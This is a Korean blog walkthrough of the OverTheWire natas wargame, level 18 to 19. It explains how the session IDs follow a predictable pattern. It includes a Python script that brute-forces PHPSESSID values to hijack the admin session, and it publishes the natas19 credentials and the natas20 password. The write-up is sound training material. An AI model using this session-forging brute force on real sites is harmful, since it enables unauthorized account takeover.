본문 바로가기
워게임/natas

[natas - WEB hacking] level18 -> leve19

by B T Y 2017. 10. 8.
반응형

[natas - WEB hacking] level18 -> leve19





[ 풀이과정 ]


해당 문제에서는 php에 대한 소스코드가 공개되지 않는다.

'This page uses mostly the same code as the previous level, but session IDs are no longer sequential...'라는 

문구가 보이는데 해석해보면 '이 페이지는 이전 레벨과 거의 동일한 코드를 사용하지만 세션 ID는 더 이상 순차적이지 않습니다 ...'

라는 뜻이다..





admin으로 로그인 한후에 개발자도구에 Network를 확인해보니 cookie 헤더에 PHPSESSID=3633312d61646d696e라고 세션 아이디가 나와있었고 문구에 나와있는것처럼 이전 문제처럼 세션ID가 순차적이지 않았다..

이런저런 방법으로 해보다가 쿠키를 삭제하면서 다시 sessionid를 받아오기를 여러번 해본결과 

아래와 같이 세션 아이디에 패턴이 보였다..



3 5 3 134 2d61646d696e

3 7 3 1 2d61646d696e

3 6 3 234 2d61646d696e

3 1 3 739 2d61646d696e

3 4 3 0 2d61646d696e

3 2 3 133 2d61646d696e



고정으로 되는 부분과 바뀌는 부분이 명확하게 보이므로 해당 패턴을 근거로 자동화 프로그램을 만들어 SESSID를 만들어서 요청을 보내봤더니 natas20에 대한 패스워드를 찾을수 있었다..





natas20 Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF



natas19.py



import socket


for second_no in range( 0, 1000 ):

    for first_no in range( 0, 10 ):

        sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )

        sock.connect( ('176.9.9.172', 80) )


        request_header = 'GET /index.php'

        request_header += '?username=admin&password=1234 HTTP/1.1\r\n'

        request_header += 'Authorization:Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==\r\n'

        request_header += 'Cookie:__cfduid=d43bdff6c4a5c85d05a5b877d9e1d29891506679019; __utma=176859643.677383675.1506679020.1506679020.1506679020.1; __utmb=176859643.3.10.1506679020; __utmc=176859643; __utmz=176859643.1506679020.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3'

        request_header += str(first_no) + '3' + str(second_no ) + '2d61646d696e\r\n'

        request_header += 'Host:natas19.natas.labs.overthewire.org\r\n'

        request_header += '\r\n'


        sock.send( request_header.encode() )

        response = sock.recv(65535).decode()


        if not('regular user' in response):

            print('PHPSESSID: ' + '3' + str(first_no) + '3' + str(second_no) + '2d61646d696e')

            print(response)

            sock.close()

            break


        sock.close()





반응형

댓글